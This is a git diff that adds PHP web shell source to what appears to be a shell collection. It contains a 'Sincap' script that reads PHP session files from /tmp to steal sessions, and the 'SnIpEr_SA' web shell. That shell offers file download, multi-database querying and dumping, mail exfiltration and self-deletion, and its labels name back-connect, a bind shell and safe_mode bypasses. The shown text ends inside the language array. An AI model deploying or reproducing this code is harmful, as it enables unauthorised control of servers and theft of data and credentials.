+
\ No newline at end of file
diff --git a/xakep-shells/PHP/Sincap.php.php.txt b/xakep-shells/PHP/Sincap.php.php.txt
new file mode 100644
index 0000000..96ff07a
--- /dev/null
+++ b/xakep-shells/PHP/Sincap.php.php.txt
@@ -0,0 +1,124 @@
+
+
+
+
+
+
+
+:: AventGrup ::.. - Sincap 1.0 | Session(Oturum) Böceði
+
+
+
+
+
+
+
+
+
+
+
+
+
+ AventGrup©
+ Avrasya Veri ve NetWork Teknolojileri Geliþtirme Grubu
+
+
+ Sincap 1.0
+
+
+
+
+
+ www.aventgrup.net
+
+
+ info@aventgrup.net
+
+
+
+
+ Linux Sessin ( Oturum ) Böceði
+
+
+
+
+
+
+ S.
+ No
+
+ Oturum
+ Adý
+
+ Oturum
+ Deðeri
+
+ Referans
+
+
+
+
+
+if ($sedat=@opendir("/tmp")){
+while (($ekinci=readdir ($sedat))){
+if (is_file("/tmp/$ekinci")){
+if($ekinci>"sess_"){
+$asortik=$ekinci;
+$baglan=fopen("/tmp/$ekinci",'r');
+while(! feof ( $baglan ) ){
+$okunan=fgets($baglan,1024);
+$toplam="$toplam$okunan";
+} fclose($baglan);
+};
+?>
+
+
+
+
+}}}
+closedir($sedat);
+?>
+
+
+$metin=$toplam;
+$i=explode(";",$metin);
+?>
+
+
+
+
+
+foreach($i as $yeni){
+$tampon=explode("|",$yeni);
+$deger1= "$tampon[0]";
+$ich=explode(":",$tampon[1]);
+$tampon3=count($ich);
+$tampon4=$tampon3-1;
+$deger2= "$ich[$tampon4]";
+$is++;
+$temizleme=array(
+'"'=>'',
+'v'=>'',
+'c'=>''
+);
+$degerT= strtr($deger2,$temizleme);
+?>
+
+
+
+
+
+
+
+ -
+
+
+};?>
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/SnIpEr_SA Shell.php.txt b/xakep-shells/PHP/SnIpEr_SA Shell.php.txt
new file mode 100644
index 0000000..a3b75ee
--- /dev/null
+++ b/xakep-shells/PHP/SnIpEr_SA Shell.php.txt
@@ -0,0 +1,2246 @@
+$v)
+ {
+ $_POST[$k] = stripslashes($v);
+ }
+ foreach ($_COOKIE as $k=>$v)
+ {
+ $_COOKIE[$k] = stripslashes($v);
+ }
+ }
+
+if($auth == 1) {
+if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
+ {
+ header('WWW-Authenticate: Basic realm="SnIpEr_SA"');
+ header('HTTP/1.0 401 Unauthorized');
+ exit("SnIpEr_SA : Access Denied ");
+ }
+}
+$head = '
+
+
+
+
+
+
+SnIpEr_SA shell
+
+
+
+
+';
+class zipfile
+{
+ var $datasec = array();
+ var $ctrl_dir = array();
+ var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
+ var $old_offset = 0;
+ function unix2DosTime($unixtime = 0) {
+ $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
+ if ($timearray['year'] < 1980) {
+ $timearray['year'] = 1980;
+ $timearray['mon'] = 1;
+ $timearray['mday'] = 1;
+ $timearray['hours'] = 0;
+ $timearray['minutes'] = 0;
+ $timearray['seconds'] = 0;
+ }
+ return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
+ ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
+ }
+ function addFile($data, $name, $time = 0)
+ {
+ $name = str_replace('\\', '/', $name);
+ $dtime = dechex($this->unix2DosTime($time));
+ $hexdtime = '\x' . $dtime[6] . $dtime[7]
+ . '\x' . $dtime[4] . $dtime[5]
+ . '\x' . $dtime[2] . $dtime[3]
+ . '\x' . $dtime[0] . $dtime[1];
+ eval('$hexdtime = "' . $hexdtime . '";');
+ $fr = "\x50\x4b\x03\x04";
+ $fr .= "\x14\x00";
+ $fr .= "\x00\x00";
+ $fr .= "\x08\x00";
+ $fr .= $hexdtime;
+ $unc_len = strlen($data);
+ $crc = crc32($data);
+ $zdata = gzcompress($data);
+ $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
+ $c_len = strlen($zdata);
+ $fr .= pack('V', $crc);
+ $fr .= pack('V', $c_len);
+ $fr .= pack('V', $unc_len);
+ $fr .= pack('v', strlen($name));
+ $fr .= pack('v', 0);
+ $fr .= $name;
+ $fr .= $zdata;
+ $this -> datasec[] = $fr;
+ $cdrec = "\x50\x4b\x01\x02";
+ $cdrec .= "\x00\x00";
+ $cdrec .= "\x14\x00";
+ $cdrec .= "\x00\x00";
+ $cdrec .= "\x08\x00";
+ $cdrec .= $hexdtime;
+ $cdrec .= pack('V', $crc);
+ $cdrec .= pack('V', $c_len);
+ $cdrec .= pack('V', $unc_len);
+ $cdrec .= pack('v', strlen($name) );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('V', 32 );
+ $cdrec .= pack('V', $this -> old_offset );
+ $this -> old_offset += strlen($fr);
+ $cdrec .= $name;
+ $this -> ctrl_dir[] = $cdrec;
+ }
+ function file()
+ {
+ $data = implode('', $this -> datasec);
+ $ctrldir = implode('', $this -> ctrl_dir);
+ return
+ $data .
+ $ctrldir .
+ $this -> eof_ctrl_dir .
+ pack('v', sizeof($this -> ctrl_dir)) .
+ pack('v', sizeof($this -> ctrl_dir)) .
+ pack('V', strlen($ctrldir)) .
+ pack('V', strlen($data)) .
+ "\x00\x00";
+ }
+}
+function compress(&$filename,&$filedump,$compress)
+ {
+ global $content_encoding;
+ global $mime_type;
+ if ($compress == 'bzip' && @function_exists('bzcompress'))
+ {
+ $filename .= '.bz2';
+ $mime_type = 'application/x-bzip2';
+ $filedump = bzcompress($filedump);
+ }
+ else if ($compress == 'gzip' && @function_exists('gzencode'))
+ {
+ $filename .= '.gz';
+ $content_encoding = 'x-gzip';
+ $mime_type = 'application/x-gzip';
+ $filedump = gzencode($filedump);
+ }
+ else if ($compress == 'zip' && @function_exists('gzcompress'))
+ {
+ $filename .= '.zip';
+ $mime_type = 'application/zip';
+ $zipfile = new zipfile();
+ $zipfile -> addFile($filedump, substr($filename, 0, -4));
+ $filedump = $zipfile -> file();
+ }
+ else
+ {
+ $mime_type = 'application/octet-stream';
+ }
+ }
+function mailattach($to,$from,$subj,$attach)
+ {
+ $headers = "From: $from\r\n";
+ $headers .= "MIME-Version: 1.0\r\n";
+ $headers .= "Content-Type: ".$attach['type'];
+ $headers .= "; name=\"".$attach['name']."\"\r\n";
+ $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
+ $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
+ if(@mail($to,$subj,"",$headers)) { return 1; }
+ return 0;
+ }
+class my_sql
+ {
+ var $host = 'localhost';
+ var $port = '';
+ var $user = '';
+ var $pass = '';
+ var $base = '';
+ var $db = '';
+ var $connection;
+ var $res;
+ var $error;
+ var $rows;
+ var $columns;
+ var $num_rows;
+ var $num_fields;
+ var $dump;
+
+ function connect()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ if(empty($this->port)) { $this->port = '3306'; }
+ if(!function_exists('mysql_connect')) return 0;
+ $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
+ if(is_resource($this->connection)) return 1;
+ break;
+ case 'MSSQL':
+ if(empty($this->port)) { $this->port = '1433'; }
+ if(!function_exists('mssql_connect')) return 0;
+ $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
+ if($this->connection) return 1;
+ break;
+ case 'PostgreSQL':
+ if(empty($this->port)) { $this->port = '5432'; }
+ $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
+ if(!function_exists('pg_connect')) return 0;
+ $this->connection = @pg_connect($str);
+ if(is_resource($this->connection)) return 1;
+ break;
+ case 'Oracle':
+ if(!function_exists('ocilogon')) return 0;
+ $this->connection = @ocilogon($this->user, $this->pass, $this->base);
+ if(is_resource($this->connection)) return 1;
+ break;
+ }
+ return 0;
+ }
+
+ function select_db()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ if(@mysql_select_db($this->base,$this->connection)) return 1;
+ break;
+ case 'MSSQL':
+ if(@mssql_select_db($this->base,$this->connection)) return 1;
+ break;
+ case 'PostgreSQL':
+ return 1;
+ break;
+ case 'Oracle':
+ return 1;
+ break;
+ }
+ return 0;
+ }
+
+ function query($query)
+ {
+ $this->res=$this->error='';
+ switch($this->db)
+ {
+ case 'MySQL':
+ if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
+ {
+ $this->error = @mysql_error($this->connection);
+ return 0;
+ }
+ else if(is_resource($this->res)) { return 1; }
+ return 2;
+ break;
+ case 'MSSQL':
+ if(false===($this->res=@mssql_query($query,$this->connection)))
+ {
+ $this->error = 'Query error';
+ return 0;
+ }
+ else if(@mssql_num_rows($this->res) > 0) { return 1; }
+ return 2;
+ break;
+ case 'PostgreSQL':
+ if(false===($this->res=@pg_query($this->connection,$query)))
+ {
+ $this->error = @pg_last_error($this->connection);
+ return 0;
+ }
+ else if(@pg_num_rows($this->res) > 0) { return 1; }
+ return 2;
+ break;
+ case 'Oracle':
+ if(false===($this->res=@ociparse($this->connection,$query)))
+ {
+ $this->error = 'Query parse error';
+ }
+ else
+ {
+ if(@ociexecute($this->res))
+ {
+ if(@ocirowcount($this->res) != 0) return 2;
+ return 1;
+ }
+ $error = @ocierror();
+ $this->error=$error['message'];
+ }
+ break;
+ }
+ return 0;
+ }
+ function get_result()
+ {
+ $this->rows=array();
+ $this->columns=array();
+ $this->num_rows=$this->num_fields=0;
+ switch($this->db)
+ {
+ case 'MySQL':
+ $this->num_rows=@mysql_num_rows($this->res);
+ $this->num_fields=@mysql_num_fields($this->res);
+ while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
+ @mysql_free_result($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
+ break;
+ case 'MSSQL':
+ $this->num_rows=@mssql_num_rows($this->res);
+ $this->num_fields=@mssql_num_fields($this->res);
+ while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
+ @mssql_free_result($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
+ break;
+ case 'PostgreSQL':
+ $this->num_rows=@pg_num_rows($this->res);
+ $this->num_fields=@pg_num_fields($this->res);
+ while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
+ @pg_free_result($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
+ break;
+ case 'Oracle':
+ $this->num_fields=@ocinumcols($this->res);
+ while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
+ @ocifreestatement($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
+ break;
+ }
+ return 0;
+ }
+ function dump($table)
+ {
+ if(empty($table)) return 0;
+ $this->dump=array();
+ $this->dump[0] = '##';
+ $this->dump[1] = '## --------------------------------------- ';
+ $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
+ $this->dump[3] = '## Database: '.$this->base;
+ $this->dump[4] = '## Table: '.$table;
+ $this->dump[5] = '## --------------------------------------- ';
+ switch($this->db)
+ {
+ case 'MySQL':
+ $this->dump[0] = '## MySQL dump';
+ if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
+ if(!$this->get_result()) return 0;
+ $this->dump[] = $this->rows[0]['Create Table'];
+ $this->dump[] = '## --------------------------------------- ';
+ if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
+ if(!$this->get_result()) return 0;
+ for($i=0;$i<$this->num_rows;$i++)
+ {
+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
+ $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
+ }
+ break;
+ case 'MSSQL':
+ $this->dump[0] = '## MSSQL dump';
+ if($this->query('SELECT * FROM '.$table)!=1) return 0;
+ if(!$this->get_result()) return 0;
+ for($i=0;$i<$this->num_rows;$i++)
+ {
+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
+ $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
+ }
+ break;
+ case 'PostgreSQL':
+ $this->dump[0] = '## PostgreSQL dump';
+ if($this->query('SELECT * FROM '.$table)!=1) return 0;
+ if(!$this->get_result()) return 0;
+ for($i=0;$i<$this->num_rows;$i++)
+ {
+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
+ $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
+ }
+ break;
+ case 'Oracle':
+ $this->dump[0] = '## ORACLE dump';
+ $this->dump[] = '## under construction';
+ break;
+ default:
+ return 0;
+ break;
+ }
+ return 1;
+ }
+ function close()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ @mysql_close($this->connection);
+ break;
+ case 'MSSQL':
+ @mssql_close($this->connection);
+ break;
+ case 'PostgreSQL':
+ @pg_close($this->connection);
+ break;
+ case 'Oracle':
+ @oci_close($this->connection);
+ break;
+ }
+ }
+ function affected_rows()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ return @mysql_affected_rows($this->res);
+ break;
+ case 'MSSQL':
+ return @mssql_affected_rows($this->res);
+ break;
+ case 'PostgreSQL':
+ return @pg_affected_rows($this->res);
+ break;
+ case 'Oracle':
+ return @ocirowcount($this->res);
+ break;
+ default:
+ return 0;
+ break;
+ }
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
+ {
+ if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
+ else
+ {
+ @ob_clean();
+ $filename = @basename($_POST['d_name']);
+ $filedump = @fread($file,@filesize($_POST['d_name']));
+ fclose($file);
+ $content_encoding=$mime_type='';
+ compress($filename,$filedump,$_POST['compress']);
+ if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
+ header("Content-type: ".$mime_type);
+ header("Content-disposition: attachment; filename=\"".$filename."\";");
+ echo $filedump;
+ exit();
+ }
+ }
+if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); }
+if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
+ {
+ echo $head;
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $_POST['mysql_l'];
+ $sql->pass = $_POST['mysql_p'];
+ $sql->base = $_POST['mysql_db'];
+ $querys = @explode(';',$_POST['db_query']);
+ echo '';
+ if(!$sql->connect()) echo "Can't connect to SQL server
";
+ else
+ {
+ if(!empty($sql->base)&&!$sql->select_db()) echo "Can't select database
";
+ else
+ {
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5)
+ {
+ echo "Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)." ";
+ switch($sql->query($query))
+ {
+ case '0':
+ echo "";
+ break;
+ case '1':
+ if($sql->get_result())
+ {
+ echo "";
+ foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
+ $keys = @implode(" ", $sql->columns);
+ echo " ".$keys." ";
+ for($i=0;$i<$sql->num_rows;$i++)
+ {
+ foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
+ $values = @implode(" ",$sql->rows[$i]);
+ echo ' '.$values.' ';
+ }
+ echo "
";
+ }
+ break;
+ case '2':
+ $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
+ echo " ";
+ break;
+ }
+ }
+ }
+ }
+ }
+ echo "";
+ echo in('hidden','db',0,$_POST['db']);
+ echo in('hidden','db_server',0,$_POST['db_server']);
+ echo in('hidden','db_port',0,$_POST['db_port']);
+ echo in('hidden','mysql_l',0,$_POST['mysql_l']);
+ echo in('hidden','mysql_p',0,$_POST['mysql_p']);
+ echo in('hidden','mysql_db',0,$_POST['mysql_db']);
+ echo in('hidden','cmd',0,'db_query');
+ echo "";
+ echo "Base: base."\"> ";
+ echo "".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."
";
+ echo " ";
+ echo " "; die();
+ }
+if(isset($_GET['delete']))
+ {
+ @unlink(__FILE__);
+ }
+if(isset($_GET['tmp']))
+ {
+ @unlink("/tmp/bdpl");
+ @unlink("/tmp/back");
+ @unlink("/tmp/bd");
+ @unlink("/tmp/bd.c");
+ @unlink("/tmp/dp");
+ @unlink("/tmp/dpc");
+ @unlink("/tmp/dpc.c");
+ }
+if(isset($_GET['phpini']))
+{
+echo $head;
+function U_value($value)
+ {
+ if ($value == '') return 'no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value))
+ {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+function U_wordwrap($str)
+ {
+ $str = @wordwrap(@htmlspecialchars($str), 100, ' ', true);
+ return @preg_replace('!(&[^;]*) ([^;]*;)!', '$1$2 ', $str);
+ }
+if (@function_exists('ini_get_all'))
+ {
+ $r = '';
+ echo '', 'Directive
Local Value
Master Value
';
+ foreach (@ini_get_all() as $key=>$value)
+ {
+ $r .= ''.ws(3).''.$key.' '.U_value($value['local_value']).'
'.U_value($value['global_value']).'
';
+ }
+ echo $r;
+ echo '
';
+ }
+echo " ";
+die();
+}
+if(isset($_GET['cpu']))
+ {
+ echo $head;
+ echo '';
+ $cpuf = @file("cpuinfo");
+ if($cpuf)
+ {
+ $c = @sizeof($cpuf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = @explode(":",$cpuf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+if(isset($_GET['mem']))
+ {
+ echo $head;
+ echo '';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+$lang=array(
+'ru_text1' =>'??????????? ???????',
+'ru_text2' =>'?????????? ?????? ?? ???????',
+'ru_text3' =>'????????? ???????',
+'ru_text4' =>'??????? ??????????',
+'ru_text5' =>'???????? ?????? ?? ??????',
+'ru_text6' =>'????????? ????',
+'ru_text7' =>'??????',
+'ru_text8' =>'???????? ?????',
+'ru_butt1' =>'?????????',
+'ru_butt2' =>'?????????',
+'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
+'ru_text10'=>'??????? ????',
+'ru_text11'=>'?????? ??? ???????',
+'ru_butt3' =>'???????',
+'ru_text12'=>'back-connect',
+'ru_text13'=>'IP-?????',
+'ru_text14'=>'????',
+'ru_butt4' =>'?????????',
+'ru_text15'=>'???????? ?????? ? ?????????? ???????',
+'ru_text16'=>'????????????',
+'ru_text17'=>'????????? ????',
+'ru_text18'=>'????????? ????',
+'ru_text19'=>'Exploits',
+'ru_text20'=>'????????????',
+'ru_text21'=>'????? ???',
+'ru_text22'=>'datapipe',
+'ru_text23'=>'????????? ????',
+'ru_text24'=>'????????? ????',
+'ru_text25'=>'????????? ????',
+'ru_text26'=>'????????????',
+'ru_butt5' =>'?????????',
+'ru_text28'=>'?????? ? safe_mode',
+'ru_text29'=>'?????? ????????',
+'ru_butt6' =>'???????',
+'ru_text30'=>'???????? ?????',
+'ru_butt7' =>'???????',
+'ru_text31'=>'???? ?? ??????',
+'ru_text32'=>'?????????? PHP ????',
+'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',
+'ru_butt8' =>'?????????',
+'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
+'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
+'ru_text36'=>'???? . ???????',
+'ru_text37'=>'?????',
+'ru_text38'=>'??????',
+'ru_text39'=>'????',
+'ru_text40'=>'???? ??????? ???? ??????',
+'ru_butt9' =>'????',
+'ru_text41'=>'????????? ? ?????',
+'ru_text42'=>'?????????????? ?????',
+'ru_text43'=>'????????????? ????',
+'ru_butt10'=>'?????????',
+'ru_butt11'=>'?????????????',
+'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
+'ru_text45'=>'???? ????????',
+'ru_text46'=>'???????? phpinfo()',
+'ru_text47'=>'???????? ???????? php.ini',
+'ru_text48'=>'???????? ????????? ??????',
+'ru_text49'=>'???????? ??????? ? ???????',
+'ru_text50'=>'?????????? ? ??????????',
+'ru_text51'=>'?????????? ? ??????',
+'ru_text52'=>'????? ??? ??????',
+'ru_text53'=>'?????? ? ?????',
+'ru_text54'=>'????? ?????? ? ??????',
+'ru_butt12'=>'?????',
+'ru_text55'=>'?????? ? ??????',
+'ru_text56'=>'?????? ?? ???????',
+'ru_text57'=>'???????/??????? ????/??????????',
+'ru_text58'=>'???',
+'ru_text59'=>'????',
+'ru_text60'=>'??????????',
+'ru_butt13'=>'???????/???????',
+'ru_text61'=>'???? ??????',
+'ru_text62'=>'?????????? ???????',
+'ru_text63'=>'???? ??????',
+'ru_text64'=>'?????????? ???????',
+'ru_text65'=>'???????',
+'ru_text66'=>'???????',
+'ru_text67'=>'Chown/Chgrp/Chmod',
+'ru_text68'=>'???????',
+'ru_text69'=>'????????1',
+'ru_text70'=>'????????2',
+'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
+'ru_text72'=>'????? ??? ??????',
+'ru_text73'=>'?????? ? ?????',
+'ru_text74'=>'?????? ? ??????',
+'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
+'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
+'ru_text80'=>'???',
+'ru_text81'=>'????',
+'ru_text82'=>'???? ??????',
+'ru_text83'=>'?????????? SQL ???????',
+'ru_text84'=>'SQL ??????',
+'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
+'ru_text86'=>'?????????? ????? ? ???????',
+'ru_butt14'=>'???????',
+'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',
+'ru_text88'=>'FTP-??????:????',
+'ru_text89'=>'???? ?? ftp ???????',
+'ru_text90'=>'????? ????????',
+'ru_text91'=>'???????????? ?',
+'ru_text92'=>'??? ?????????',
+'ru_text93'=>'FTP',
+'ru_text94'=>'FTP-????????',
+'ru_text95'=>'?????? ?????????????',
+'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
+'ru_text97'=>'????????? ??????????: ',
+'ru_text98'=>'??????? ???????????: ',
+'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd',
+'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
+'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????',
+'ru_text102'=>'?????',
+'ru_text103'=>'???????? ??????',
+'ru_text104'=>'???????? ????? ?? ???????? ????',
+'ru_text105'=>'????',
+'ru_text106'=>'??',
+'ru_text107'=>'????',
+'ru_butt15'=>'?????????',
+'ru_text108'=>'????? ??????',
+'ru_text109'=>'????????',
+'ru_text110'=>'??????????',
+'ru_text111'=>'SQL-?????? : ????',
+'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail',
+'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list',
+'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body',
+'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()',
+'ru_text116'=>'?????????? ????',
+'ru_text117'=>'?',
+'ru_text118'=>'???? ??????????',
+'ru_text119'=>'?? ??????? ??????????? ????',
+'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',
+'ru_err1'=>'??????! ?? ???? ????????? ???? ',
+'ru_err2'=>'??????! ?? ??????? ??????? ',
+'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',
+'ru_err4'=>'?????? ??????????? ?? ftp ???????',
+'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',
+'ru_err6'=>'??????! ?? ??????? ????????? ??????',
+'ru_err7'=>'?????? ??????????',
+/* --------------------------------------------------------------- */
+'eng_text1' =>'ÇáÇãÑ ÇáãäÝÐ',
+'eng_text2' =>'ÊäÝíÐ ÇáÇæÇãÑ Ýí ÇáÓíÑÝÑ',
+'eng_text3' =>'ÇãÑ ÇáÊÔÛíá',
+'eng_text4' =>'ãßÇä Úãáß ÇáÇä Úáì ÇáÓíÑÝÑ',
+'eng_text5' =>'ÑÝÚ ãáÝ Çáì ÇáÓíÑÝÑ',
+'eng_text6' =>'ãÓÇÑ ãáÝß',
+'eng_text7' =>'ÇæÇãÑ ÌÇåÒå',
+'eng_text8' =>'ÇÎÊÑ ÇáÇãÑ',
+'eng_butt1' =>'ÊäÝíÐ',
+'eng_butt2' =>'ÑÝÜÚ',
+'eng_text9' =>'ÝÊÍ ÈæÑÊ Ýí ÇáÓíÑÝÑ Úáì /bin/bash',
+'eng_text10'=>'ÈÜæÑÊ',
+'eng_text11'=>'ÈÇÓæÑÏ ááÏÎæá',
+'eng_butt3' =>'ÝÊÍ',
+'eng_text12'=>'ÃÊÕÜÇá ÚÜßÓí',
+'eng_text13'=>'ÇáÇí Èí',
+'eng_text14'=>'ÇáãäÝÐ',
+'eng_butt4' =>'ÃÊÜÕÇá',
+'eng_text15'=>'ÓÍÈ ãáÝÇÊ Çáì ÇáÓíÑÝÑ',
+'eng_text16'=>'Úä ØÑíÞ',
+'eng_text17'=>'ÑÇÈØ ÇáãáÝ',
+'eng_text18'=>'ãßÇä äÒæáå',
+'eng_text19'=>'Exploits',
+'eng_text20'=>'ÅÓÊÎÏã',
+'eng_text21'=>' ÇáÇÓã ÇáÌÏíÏ',
+'eng_text22'=>'ÇäÈæÈ ÇáÈíÇäÇÊ',
+'eng_text23'=>'ÇáÈæÑÊ ÇáãÍáí',
+'eng_text24'=>'ÇáÓíÑÝÑ ÇáÈÚíÏ',
+'eng_text25'=>'ÇáãäÝÐ ÇáÈÚíÏ',
+'eng_text26'=>'ÇÓÊÎÏã',
+'eng_butt5' =>'ÊÔÛíá',
+'eng_text28'=>'ÇáÚãá Ýí ÇáæÖÚ ÇáÇãä',
+'eng_text29'=>'ããäæÚ ÇáÏÎæá',
+'eng_butt6' =>'ÊÛíÑ',
+'eng_text30'=>'ÚÑÖ ãáÝ',
+'eng_butt7' =>'ÚÑÖ',
+'eng_text31'=>'ÇáãáÝ ÛíÑ ãæÌæÏ',
+'eng_text32'=>'ÊäÝíÐ ßæÏ php Úä ØÑíÞ ÏÇáå eval',
+'eng_text33'=>'Test bypass open_basedir with cURL functions',
+'eng_butt8' =>'ÇÎÊÈÇÑ',
+'eng_text34'=>'Test bypass safe_mode with include function',
+'eng_text35'=>'Test bypass safe_mode with load file in mysql',
+'eng_text36'=>'ÇáÞÇÚÏÉ . ÇáÌÏæá',
+'eng_text37'=>'ÇÓã ÇáãÓÊÎÏã',
+'eng_text38'=>'ßáãÉ ÇáãÑæÑ',
+'eng_text39'=>'ÇáÞÇÚÏÉ',
+'eng_text40'=>'äÓÎÉ ãä ÌÏÇæá ÇáÞÇÚÏÉ',
+'eng_butt9' =>'äÓÎÉ',
+'eng_text41'=>'ÍÝÙ ÇáäÓÎÉ Ýí',
+'eng_text42'=>'ÊÚÏíá ÇáãáÝÇÊ',
+'eng_text43'=>'ÇáãáÝ ÇáãÑÇÏ ÊÚÏíáå',
+'eng_butt10'=>'ÍÝÙ',
+'eng_text44'=>'áÇÊÓÊØíÚ ÇáÊÚÏíá Úáì åÐÇ ÇáãáÝ ÝÞØ ÊÞÑÃ',
+'eng_text45'=>'Êã ÇáÍÝÙ',
+'eng_text46'=>'ÚÑÖ phpinfo()',
+'eng_text47'=>'ÑÄíÉ ÇáãÊÛíÑÇÊ Ýí php.ini',
+'eng_text48'=>'ãÓÍ ãáÝÇÊ ÇáÜ temp',
+'eng_butt11'=>'ÊÍÑíÑ ÇáãáÝ',
+'eng_text49'=>'ãÓÍ ÇáÓßÑÈÊ ãä ÇáÓíÑÝÑ',
+'eng_text50'=>'ÚÑÖ ãÚáæãÇÊ ÇáÐÇßÑÉ ÇáÑÆíÓíÉ',
